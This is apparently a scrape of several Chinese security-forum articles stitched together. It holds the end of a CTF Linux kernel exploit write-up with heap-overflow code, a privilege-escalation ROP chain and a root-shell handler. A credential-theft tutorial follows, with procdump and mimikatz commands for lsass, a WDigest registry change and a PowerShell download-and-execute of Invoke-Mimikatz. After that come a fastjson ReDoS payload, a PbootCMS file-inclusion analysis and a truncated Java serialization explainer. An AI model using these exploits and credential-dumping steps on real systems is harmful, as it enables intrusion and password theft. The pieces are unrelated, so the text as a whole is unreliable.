nuts[idx].size = new_size;
return 0;
}
## 0x2 漏洞点
漏洞点有两个地方：
* create的时候，如果`size > length`会造成越界读。
* append 如果使`arg`中设置的`size > 1024` 会被返回`-EOVERFLOW` ，在IDA上看到是`-75`，可以利用这个来越界写堆，造成堆溢出。
## 0x3 利用思路
* 泄漏内核基地址：通过`subprocess_info`结构体可以在`kmalloc-128`的堆块里存入一个可以泄漏内核基地址的地址`call_usermodehelper_exec_work`，然后通过越界读来读取，利用代码如下：
create(0x60, buf, 0x60); // nut[0]
create(0x60, buf, 0); // nut[1]
socket(22, AF_INET, 0); // 申请`subprocess_info`
delete (1);
delete (0);
create(0x100, buf, 0x60); // nut[0]
memset(buf, 0, sizeof(buf));
show(0, buf);
printf("[*] Leak call_usermodehelper_exec_work addr : %#llx\n", buf[15]);
kernbase = buf[15];
* 泄漏需要利用的堆块的地址（之后会利用`tty_struct`来ROP。）就是类似打fastbin的思路来泄漏`kmalloc-1024`的堆块地址，因为`tty_struct`会使用`kmalloc-1024`的堆块。
memset(buf, 0, sizeof(buf));
create(1023, buf, 1023); // nut[1]
create(1023, buf, 1023); // nut[2]
delete (2);
create(1023, buf, 0); // nut[2]
show(2, buf);
heapbase = buf[64];
printf("[*] Leak tty_struct chunk addr : %#llx\n", buf[64]);
int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请tty_struct
* 利用越界写来改写堆块的`next`指针，来申请想要利用的堆块。这里申请了两次`tty_struct`所在的堆块，一次用来把`tty_struct`的内容留存下来，方便之后覆盖的时候减少修改其中内容，一次用来将修改数据之后覆盖`tty_struct`。修改的是`onst struct tty_operations *ops`指针为我们可控的内核堆，来作为我们劫持RIP的地方，和ROP栈迁移的栈，这个结构体内有很多函数指针，我在下文会附上其内容。
memset(buf, 0, sizeof(buf));
create(0x80, buf, 0x80); // nut[3]
create(0x80, buf, 0x80); // nut[4]
buf[0x18] = heapbase;
create(0x80 + 75, buf, 0x80 + 75); // nut[5]
delete (4);
delete (3);
append(5, 0x500, buf);
create(0x80, buf, 0); // nut[3]
create(0x80, buf, 0); // nut[4] => tty_struct
show(4, buf);
create(64, tmp, 64); // nut[6]
create(64, tmp, 64); // nut[7]
for (int i = 0; i < 13; i++)
tmp[i] = heapbase;
create(64 + 75, tmp, 64 + 75); // but[8]
delete (7);
delete (6);
append(8, 0x500, tmp);
buf[1] = calc(0xffffffff814236d7); // 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret;
buf[3] = heapbase + 0x400;
create(64, buf, 64); // nut[6] => tty_struct
// struct tty_operations
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout
* 最后写入ROP到堆内，并通过`ioctl`来触发ROP。
delete (2);
delete (1);
memset(buf, 0, sizeof(buf));
// for(int i = 0; i < 20; i++)
// buf[i] = 0xdeadbeaf;
buf[0] = calc(0xffffffff81001bdd); // 0xffffffff81001bdd: pop rdi ; ret ;
buf[1] = 0;
buf[2] = calc(0xffffffff8108c3c0); // prepare_kernel_cred
buf[3] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[4] = 0;
buf[5] = calc(0xffffffff81a2474b); // 0xffffffff81a2474b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
buf[6] = calc(0xffffffff8108c190); // ffffffff8108c190 T commit_creds
buf[7] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[8] = 0;
buf[9] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[10] = 0;
buf[11] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[12] = calc(0xffffffff8100cf31); // 0xffffffff8100cf31: leave; ret;
buf[13] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[14] = 0;
buf[15] = calc(0xffffffff81a23d42); // 0xffffffff81a23d42: swapgs; ret;
buf[16] = calc(0xffffffff81026a7b); // 0xffffffff81026a7b: iretq; ret;
buf[17] = &pop_shell;
buf[18] = user_cs;
buf[19] = user_rflags;
buf[20] = user_sp;
buf[21] = user_ss;
create(1023, buf, 1023);
printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31));
puts("[*] ROPing");
ioctl(victim, buf, heapbase + 0x400);
ROP内需要注意的是，先`commit_creds(prepare_kernel_cred(0))`，然后`ret2usr`。
但是实际上由于`KPTI`的原因，在`iretq`的时候会发生分段错误，发出`SIGSEGV`信号，不关闭`KPTI`的话，实际上并不能提权成功，在之前看过一个师傅的帖子，记不清楚链接了，但是这里有个很简单的处理方法：信号可以由用户态捕获并处理，而处理的部分我们自定义一个`pop_shell`函数即可弹出shell。
signal(SIGSEGV, pop_shell);
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
* 其实还有一种使用`Userfaultfd`的思路，可以看下Reference里的链接，smallkirby师傅写的思路。
## 0x4 Exploit
[Mech0n/UnionCTF-nutty.c](https://gist.github.com/Mech0n/e37b65f51222e3e33083f4e618c02194)
## 0x5 Reference
[【pwn 51.0】nutty – Union CTF
2021](https://smallkirby.hatenablog.com/entry/2021/02/22/053507) | 社区文章 |
# Win10及2012系统以后的明文抓取方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. procdump+mimikatz获取win10/win2012 R2用户明文密码
测试环境：win10企业版和win2012 R2 版本
工具下载：链接：https://pan.baidu.com/s/1gNc9qLcNSNBohIVrAiqShw 密码：fc38
原理：获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码
利用前提：拿到了admin权限的cmd，管理员用密码登录机器，并运行了lsass.exe进程，把密码保存在内存文件lsass进程中。
抓取明文：手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
根据相应系统位数，选择工具
运行cmd , cd 进入相应软件目录。
先用procdump64.exe导出lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
命令执行完成之后，会有提示下载路径。
然后把 lsass.dmp 下载到本地(实战中可以从菜刀下载或者网站访问下载等等)
使用本地的mimikatz.exe读取lsass.dmp。
相应目录快捷打开cmd(此时读取过程不需要管理员权限的cmd)
在默认情况下，当系统为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，如下图，密码字段显示为null，此时可以通过修改注册表的方式抓取明文，但需要用户重新登录后才能成功抓取。
如下图是没有修改注册表时的读取结果，无明文。
但是我们可以通过修改注册表来让Wdigest Auth保存明文口令：
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
如需恢复原样，只需将上图REG_DWORD的值1改为0即可。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v
UseLogonCredential /t REG_DWORD /d 0 /f
修改注册表之后，修改了之后需要用户注销或者重新登陆之后才会生效。
使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过)
把如下代码保存为lock-screen.ps1。
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
执行: powershell -file lock-screen.ps1
管理员重新登录。
如下图，重启后，重新操作以上步骤，成功读取明文。
总结：
在系统为win10或2012R2以上时,都需要配置注册表并重新登录后才能抓取明文。
优点和缺点：
优点：用procdump导出lsass.dmp后拖回本地抓取密码来规避杀软。
缺点：修改注册表之后,需要重新登录才能生效,可以使用锁屏脚本(锁屏之前，一定要查看管理员是否在线)，让管理员重新登录。
## 2\. Mimikatz
mimikatz是一款轻量级的调试神器，功能非常强大，其中最常用的功能就是抓取明文或Hash。
原理：Lsass.exe中恢复明文密码。
前提：拿到了目标的管理员权限，并运行了lsass.exe进程，把密码保存在内存文件lsass进程中。
Mimikatz.exe版本工具下载(下载相应版本)：<https://github.com/gentilkiwi/mimikatz/releases>
测试环境：win10企业版和win2012 R2 版本
手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
如下是win10企业版。
运行mimikatz
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
如上一篇中解释，需要修改注册表的方式抓取明文，但需要用户重新登录后才能成功抓取。
如下图是没有修改注册表时的读取结果，无明文。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
修改注册表之后，修改了之后需要用户注销或者重启重新登陆之后才会生效。
如下图，重启后，重新操作以上步骤，成功读取明文。
实测：下载地址的三个版本的mimikatz.exe，在win2012 R2服务器版本上都会崩溃，
原因是不兼容。
改变思路,使用powershell版本的mimikatz。在win2012 R2测试。
把如下链接的内容复制到新建文本，然后重命名为Invoke-Mimikatz.ps1
<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>
cmd下执行，本地加载
powershell -exec bypass “import-module .Invoke-Mimikatz.ps1;Invoke-Mimikatz”
前提还是得配置注册表重新登录后才能抓明文。
如下是没有配置注册表时，抓取没有明文。
配置注册表之后，使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过)
执行: powershell -file lock-screen.ps1
锁屏之后，管理员重新登录。
成功读取到明文。
在win10上执行Invoke-Mimikatz.ps1测试，出现报错。
也可以把ps1放到一个站点上远程加载
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz
Powershell执行方式参考：<https://blog.csdn.net/qq_27446553/article/details/81074367>
## 总结
Win10抓取明文，用mimikatz的exe版本。
Win2012 R2等服务器版本抓取明文，用mimikatz的powershell版本。
powershell 适用范围有限,只能适用于 win7,2008r2 之后的系统。
实战时，我们可以在shell中执行命令配置注册表之后,尝试利用锁屏脚本(锁屏之前，一定要查看管理员是否在线),让管理员重新登录。
很多第三方软件都集成了mimikatz，例如CS的beacon,MSF的meterpreter等等。
mimikatz,抓取密码的方式还有导出lsass.exe,edigest,sam。
## 3\. SharpDump [c# 免杀抓明文]
前提：拿到目标的管理员权限。Lsass.exe进程中保存了明文密码。
工具源代码下载地址：https://github.com/GhostPack/SharpDump
用VS打开工程文件
设置工程文件如下。
右击项目，重新生成。
成功生成，以下有生成路径。
然后直接上传exe，cmd执行。(因为是源代码重新编译生成的exe,一般可以免杀一段时间)
把文件导出到指定路径。
依然是回到本机机器用 mimikatz.exe 读取刚刚 dump 出的文件,特别注意,dump 的文件默认是 bin 后缀,拖到本地机器以后,需要自行把
bin 重命名为 zip 的后缀,然后正常解压处里面的文件,再丢给 mimikatz 去读取即可,如下
# mimikatz.exe “sekurlsa::minidump debug45” “sekurlsa::logonPasswords full”
“exit”
成功抓取明文。
## 总结
此方法的exe体积小[也就 9k 左右],默认它会自动 dump lsass.exe 进程数据,当然,你也可以指定进程 id 来
dump,在一些断网环境下很实用,如下,先在目标机器上把 lsass.exe 进程数据导出来。
实测在win10企业版和win2012 R2 可行。
体积小，越好做免杀。
以上三种方法的总结：
procdump和SharpDump的套路都是把lsass.exe进程中的数据dump下来，然后mimikatz进行读取内容。
mimikatz是直接读取lsass.exe里的数据。
两者有细微区别，就比如当你明文密码已经保存在lsass.exe进程中，这时把注册表配置成lsass.exe不保存明文密码,这个时候mimikatz是不能够读取明文的，但是procdump和SharpDump把lsass.exe的数据dump下来是能够读取明文。
以上都是以抓取明文为重点，其实如果没有配置注册表的话，也是可以读取NTLM和SHA1，
如能成功解密，就省去了抓取明文这一步。
## 思考
有没有其他方法，不关于lsass.exe，就能够抓取明文？
如果笔者有什么错误或者还有其他一些什么好方法的话，希望能够在评论中指出。 | 社区文章 |
无意翻到b1ue大佬挖 fastjson 的拒绝服务漏洞的文章，于是跟了一下漏洞原理和触发流程，按照自己的理解简单地从结果出发开始分析。
以下复现均是在1.2.62，漏洞影响范围 1.2.36~1.2.62
## 漏洞缘由
首先要说明的这是一个正则DOS引起的拒绝服务，最根本的原理如下
String p = "^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$";
String strPropertyValue = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!";
Pattern pattern = Pattern.compile(p);
Matcher m = pattern.matcher(strPropertyValue);
boolean match = m.matches();
接着看一下 fastjson 中如何使用到正则，fastjson 1.2.0 之后的版本支持 JSONPath
，可以在java框架中当作对象查询语言（OQL）来使用。
Object body = JSONPath.eval("{\"html\": {\"body\": \"bob\"}}", "$.html['body']");
System.out.println(body);
//result: bob
JSONPath 匹配中可使用正则表达式，看到官方文档有如下说明：
|
---|---
[key like 'aa%'] | 字符串类型like过滤， 例如$.departs[name like 'sz*']，通配符只支持% 支持not
like
[key rlike 'regexpr'] | 字符串类型正则匹配过滤， 例如departs[name like 'aa(.)*']，
正则语法为jdk的正则语法，支持not rlike
因此如果传入的正则表达式可控可能会导致拒绝服务
Object result = JSONPath.eval("{\"dos\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!\"}", "[dos rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']");
System.out.println(result);
## JSON.parse 到 JSONPath.eval
如果是使用了 JSONPath 的 rlike 实现正则表达式的匹配，那么只要正则表达式可控就直接导致拒绝服务。但是现实项目业务逻辑中很少会直接使用
JSONPath 这个模块，更别说传入的正则表达式可控了。因此需要在常规的JSON.parse 中找到一个JSONPath的调用链。
String json = "";
Object parse = JSON.parse(json);
JSON#parse函数里主要涉及三个函数，DefaultJSONParser初始化会把整个字符串进行JSON对象的转换，而parse会进入
`DefaultJSONParser#parseObject` 处理JSON对象。
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
`DefaultJSONParser.java` 中搜索关键词 `JSONPath.eval`
找到 `DefaultJSONParser#handleResovleTask` 函数中调用了 `JSONPath.eval(value, ref)`
value 参数是参数传入的，ref 是从 resolveTaskList 中获取，与此相关的是比较重要的就是 `addResolveTask`
搜索 addResolveTask 接着就跟到了 `DefaultJSONParser#parseObject` 399行
可以看到当满足 `key == "$ref" 、ref 不等于"@"、".."、"$"` 直接进入了这个 `else` 分支，
ref原封不动的装进了ResolveTask。
再回过去看到第一个图片，ref 第一个字符需要为 `$`
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}
到这里已经可以推出payload（出自[b1ue](*https://b1ue.cn/archives/314.html*)）
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
## JSONPath.eval 到 Matcher.matches
从 matches 出发找到触发点 `JSONPath#RlikeSegement` apply方法
而 RlikeSegement 的创建是通过判断传入的 `Path` 字符串是否有 `rlike` 的OP值
Filter filter = null;
if (op == Operator.RLIKE) {
filter = new RlikeSegement(propertyName, strValue, false);
} else if (op == Operator.NOT_RLIKE) {
filter = new RlikeSegement(propertyName, strValue, true);
回过头来看一下 `JSONPath.eval()` 的具体流程
其中 segment.eval 有许多实现方法，但因为 RlikeSegement 是实现了 Filter 接口的类，因此 RlikeSegement
调用的是 `FilterSegment#eval` ，可以看到这里调用了 `filter.apply` 对应了 `RlikeSegement#apply`
其实可能大部分内容都和b1ue大佬写的差不多，只是这里按照自己的理解从结果“反推”的方式大致分析这个拒绝服务漏洞。当然整个过程其中很多参数提取、变化等细节是需要亲自的调试琢磨的，有兴趣也可以看看b1ue原文分析是怎么挖掘到这个漏洞。膜～
## 参考文章
<https://b1ue.cn/archives/314.html>
<https://github.com/alibaba/fastjson/wiki/JSONPath>
<https://www.cnblogs.com/exmyth/p/9839363.html> | 社区文章 |
挖出来之后看了下官网发现不到半个月之前更新了最新版，下下来之后发现这洞修了..我吐了
干脆直接发出来 分享下思路吧
## 0x00漏洞分析
漏洞发生在PbootCMS内核的模板解析函数中
为了方便看直接上一个完整的Parser代码吧
public function parser($file)
{
// 设置主题
$theme = isset($this->vars['theme']) ? $this->vars['theme'] : 'default';
//file形式:xxxxx/../../../可以双写穿越
$theme = preg_replace('/\.\.(\/|\\\)/', '', $theme); // 过滤掉相对路径
$file = preg_replace('/\.\.(\/|\\\)/', '', $file); // 过滤掉相对路径
if (strpos($file, '/') === 0) { // 绝对路径模板
$tpl_file = ROOT_PATH . $file;
} elseif (! ! $pos = strpos($file, '@')) { // 跨模块调用
$path = APP_PATH . '/' . substr($file, 0, $pos) . '/view/' . $theme;
define('APP_THEME_DIR', str_replace(DOC_PATH, '', $path));
if (! is_dir($path)) { // 检查主题是否存在
error('模板主题目录不存在！主题路径：' . $path);
} else {
$this->tplPath = $path;
}
$tpl_file = $path . '/' . substr($file, $pos + 1);
} else {
// 定义当前应用主题目录
define('APP_THEME_DIR', str_replace(DOC_PATH, '', APP_VIEW_PATH) . '/' . $theme);
if (! is_dir($this->tplPath .= '/' . $theme)) { // 检查主题是否存在
error('模板主题目录不存在！主题路径：' . APP_THEME_DIR);
}
$tpl_file = $this->tplPath . '/' . $file; // 模板文件
}
$note = Config::get('tpl_html_dir') ? '<br>同时检测到您系统中启用了模板子目录' . Config::get('tpl_html_dir') . '，请核对是否是此原因导致！' : '';
file_exists($tpl_file) ?: error('模板文件' . APP_THEME_DIR . '/' . $file . '不存在！' . $note);
$tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php'; // 编译文件
// 当编译文件不存在，或者模板文件修改过，则重新生成编译文件
if (! file_exists($tpl_c_file) || filemtime($tpl_c_file) < filemtime($tpl_file) || ! Config::get('tpl_parser_cache')) {
$content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错！请检查目录是否有可写权限！'); // 写入编译文件
$compile = true;
}
//tplPath:PbootCMS/template
ob_start(); // 开启缓冲区,引入编译文件
$rs = include $tpl_c_file;
if (! isset($compile)) {
foreach ($rs as $value) { // 检查包含文件是否更新,其中一个包含文件不存在或修改则重新解析模板
if (! file_exists($value) || filemtime($tpl_c_file) < filemtime($value) || ! Config::get('tpl_parser_cache')) {
$content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错！请检查目录是否有可写权限！'); // 写入编译文件
ob_clean();
include $tpl_c_file;
break;
}
}
}
$content = ob_get_contents();
ob_end_clean();
return $content;
}
简单讲一下重点
这里对传入路径的过滤并不严格，可以双写绕过
再往下跟一下
当模板文件不在缓存中的时候，会读取$tpl_file中的内容，然后写入缓存文件中并且包含。
也就是说，当parser函数的参数可以被控制的时候，就会造成一个任意文件包含。
所以，要找一个可控参数的parser调用
经过简单寻找，就可以发现前台控制器TagController中的index方法，完美符合我们的要求
上代码：
public function index()
{
// 在非兼容模式接受地址第二参数值
if (defined('RVAR')) {
$_GET['tag'] = RVAR;
}
if (! get('tag')) {
_404('您访问的页面不存在，请核对后重试！');
}
$a=get('tag');
$tagstpl = request('tagstpl');
if (! preg_match('/^[\w\-\.\/]+$/', $tagstpl)) {
$tagstpl = 'tags.html';
}
$content = parent::parser($this->htmldir . $tagstpl); // 框架标签解析
$content = $this->parser->parserBefore($content); // CMS公共标签前置解析
$content = $this->parser->parserPositionLabel($content, 0, '相关内容', homeurl('tag/' . get('tag'))); // CMS当前位置标签解析
$content = $this->parser->parserSpecialPageSortLabel($content, - 2, '相关内容', homeurl('tag/' . get('tag'))); // 解析分类标签
$content = $this->parser->parserAfter($content); // CMS公共标签后置解析
$this->cache($content, true);
}
传入parser的参数，是通过request接收的参数$tagstpl和$this->htmldir拼接的，因为已经知道在函数内部可以出现目录穿越，所以前面的路径不管怎么拼接都无所谓啦。
这样就完成了整个攻击链，TagController->parser->双写绕过->文件读取->文件写入->文件包含
## 00x1 漏洞验证
因为是windows搭的环境，就不读/etc/passwd了，读一下D盘根目录的文件吧
成功
再包含个phpinfo试试
也是可以的
漏洞验证完成
本来是想再看看有没有什么组合利用的姿势，毕竟文件包含这种洞本身利用的灵活度还是蛮高的
不过既然最新版已经修了 就不多看了
## 00x2 修复方案
官方的修复非常简单粗暴，没有对内核中导致漏洞的根本原因过滤不充分进行修改，而是直接对TagController的正则进行了修改，强制限制了后缀名为html。
看一下前后对比
2.07:
2.08: | 社区文章 |
# 浅析Java序列化和反序列化
##### 译文声明
本文是翻译文章，文章原作者 gyyyy，文章来源：github.com
原文地址：<https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md>
译文仅供参考，具体内容表达以及含义原文为准。
## 序列化机制
序列化 _（Serialization）_ 是指将数据结构或对象状态转换成字节流 _（例如存储成文件、内存缓冲，或经由网络传输）_
，以留待后续在相同或另一台计算机环境中，能够恢复对象原来状态的过程。序列化机制在Java中有着广泛的应用，EJB、RMI、Hessian等技术都以此为基础。
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E5%BA%8F%E5%88%97%E5%8C%96)序列化
我们先用一个简单的序列化示例来看看Java究竟是如何对一个对象进行序列化的：
public class SerializationDemo implements Serializable {
private String stringField;
private int intField;
public SerializationDemo(String s, int i) {
this.stringField = s;
this.intField = i;
}
public static void main(String[] args) throws IOException {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bout);
out.writeObject(new SerializationDemo("gyyyy", 97777));
}
}
如果熟悉PHP的同学应该知道，这个对象在经过PHP序列化后得到的字符串如下
_（因为PHP与Java的编程习惯有所区别，这里字段访问权限全改为了`public`，`private`和`protected`从表现形式上来说差不多，只是多了些特殊的标识而已，为了减少一些零基础的同学不必要的疑惑，这里暂不讨论）_
：
O:17:"SerializationDemo":2:{s:11:"stringField";s:5:"gyyyy";s:8:"intField";i:97777;}
其中，`O:17:"..."`表示当前是一个对象，以及该对象类名的字符串长度和值，`2:{...}`表示该类有2个字段
_（元素间用`;`分隔，键值对也分为前后两个元素表示，也就是说，如果是2个字段，则总共会包含4个元素）_
，`s:11:"..."`表示当前是一个长度为11的字符串，`i:...`表示当前是一个整数。
由此可知，PHP序列化字符串基本上是可人读的，而且对于类对象来说，字段等成员属性的序列化顺序与定义顺序一致。我们完全可以通过手工的方式来构造任意一个PHP对象的序列化字符串。
而该对象经过Java序列化后得到的则是一个二进制串：
ac ed 00 05 73 72 00 11 53 65 72 69 61 6c 69 7a ....sr.. Serializ
61 74 69 6f 6e 44 65 6d 6f d9 35 3c f7 d6 0a c6 ationDem o.5<....
d5 02 00 02 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL
00 0b 73 74 72 69 6e 67 46 69 65 6c 64 74 00 12 ..string Fieldt..
4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e Ljava/la ng/Strin
67 3b 78 70 00 01 7d f1 74 00 05 67 79 79 79 79 g;xp..}. t..gyyyy
仔细观察二进制串中的部分可读数据，我们也可以差不多分辨出该对象的一些基本内容。但同样为了手写的目的
_（为什么有这个目的？原因很简单，为了不被语言环境束缚）_ ，以及为接下来的序列化执行流程分析做准备，我们先依次来解读一下这个二进制串中的各个元素。
* `0xaced`，魔术头
* `0x0005`，版本号 _（JDK主流版本一致，下文如无特殊标注，都以JDK8u为例）_
* `0x73`，对象类型标识 _（`0x7n`基本上都定义了类型标识符常量，但也要看出现的位置，毕竟它们都在可见字符的范围，详见`java.io.ObjectStreamConstants`）_
* `0x72`，类描述符标识
* `0x0011...`，类名字符串长度和值 _（Java序列化中的UTF8格式标准）_
* `0xd9353cf7d60ac6d5`，序列版本唯一标识 _（`serialVersionUID`，简称SUID）_
* `0x02`，对象的序列化属性标志位，如是否是Block Data模式、自定义`writeObject()`，`Serializable`、`Externalizable`或`Enum`类型等
* `0x0002`，类的字段个数
* `0x49`，整数类型签名的第一个字节，同理，之后的`0x4c`为字符串类型签名的第一个字节 _（类型签名表示与JVM规范中的定义相同）_
* `0x0008...`，字段名字符串长度和值，非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值，如之后的`0x740012...`
* `0x78` Block Data结束标识
* `0x70` 父类描述符标识，此处为`null`
* `0x00017df1` 整数字段`intField`的值 _（Java序列化中的整数格式标准）_ ，非原始数据类型的字段则会按对象的方式处理，如之后的字符串字段`stringField`被识别为字符串类型，输出字符串类型标识、字符串长度和值
由此可以看出，除了基本格式和一些整数表现形式上的不同之外，Java和PHP的序列化结果还是存在很多相似的地方，比如除了具体值外都会对类型进行描述。
需要注意的是，Java序列化中对字段进行封装时，会按原始和非原始数据类型排序
_（有同学可能想问为什么要这么做，这里我只能简单解释原因有两个，一是因为它们两个的表现形式不同，原始数据类型字段可以直接通过偏移量读取固定个数的字节来赋值；二是在封装时会计算原始类型字段的偏移量和总偏移量，以及非原始类型字段的个数，这使得反序列化阶段可以很方便的把原始和非原始数据类型分成两部分来处理）_
，且其中又会按字段名排序。
而开头固定的`0xaced0005`也可以作为Java序列化二进制串 _（Base64编码为`rO0AB...`）_ 的识别标识。
让我们把这个对象再改复杂些：
class SerializationSuperClass implements Serializable {
private String superField;
}
class SerializationComponentClass implements Serializable {
private String componentField;
}
public class SerializationDemo extends SerializationSuperClass implements Serializable {
private SerializationComponentClass component;
// omit
}
它序列化后的二进制串大家可以自行消化理解一下，注意其中的嵌套对象，以及`0x71`表示的`Reference`类型标识
_（形式上与JVM的常量池类似，用于非原始数据类型的引用对象池索引，这个引用对象池在序列化和反序列化创建时的元素填充顺序会保持一致）_ ：
ac ed 00 05 73 72 00 11 53 65 72 69 61 6c 69 7a ....sr.. Serializ
61 74 69 6f 6e 44 65 6d 6f 1a 7f cd d3 53 6f 6b ationDem o....Sok
15 02 00 03 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL
00 09 63 6f 6d 70 6f 6e 65 6e 74 74 00 1d 4c 53 ..compon entt..LS
65 72 69 61 6c 69 7a 61 74 69 6f 6e 43 6f 6d 70 erializa tionComp
6f 6e 65 6e 74 43 6c 61 73 73 3b 4c 00 0b 73 74 onentCla ss;L..st
72 69 6e 67 46 69 65 6c 64 74 00 12 4c 6a 61 76 ringFiel dt..Ljav
61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 78 72 a/lang/S tring;xr
00 17 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 53 ..Serial izationS
75 70 65 72 43 6c 61 73 73 de c6 50 b7 d1 2f a3 uperClas s..P../.
27 02 00 01 4c 00 0a 73 75 70 65 72 46 69 65 6c '...L..s uperFiel
64 71 00 7e 00 02 78 70 70 00 01 7d f1 73 72 00 dq.~..xp p..}.sr.
1b 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 43 6f .Seriali zationCo
6d 70 6f 6e 65 6e 74 43 6c 61 73 73 3c 76 ba b7 mponentC lass<v..
dd 9e 76 c4 02 00 01 4c 00 0e 63 6f 6d 70 6f 6e ..v....L ..compon
65 6e 74 46 69 65 6c 64 71 00 7e 00 02 78 70 70 entField q.~..xpp
74 00 05 67 79 79 79 79 t..gyyyy
简单的分析一下序列化的执行流程：
1. `ObjectOutputStream`实例初始化时，将魔术头和版本号写入`bout` _（`BlockDataOutputStream`类型）_ 中
2. 调用`ObjectOutputStream.writeObject()`开始写对象数据
* `ObjectStreamClass.lookup()`封装待序列化的类描述 _（返回`ObjectStreamClass`类型）_ ，获取包括类名、自定义`serialVersionUID`、可序列化字段 _（返回`ObjectStreamField`类型）_ 和构造方法，以及`writeObject`、`readObject`方法等
* `writeOrdinaryObject()`写入对象数据
* 写入对象类型标识
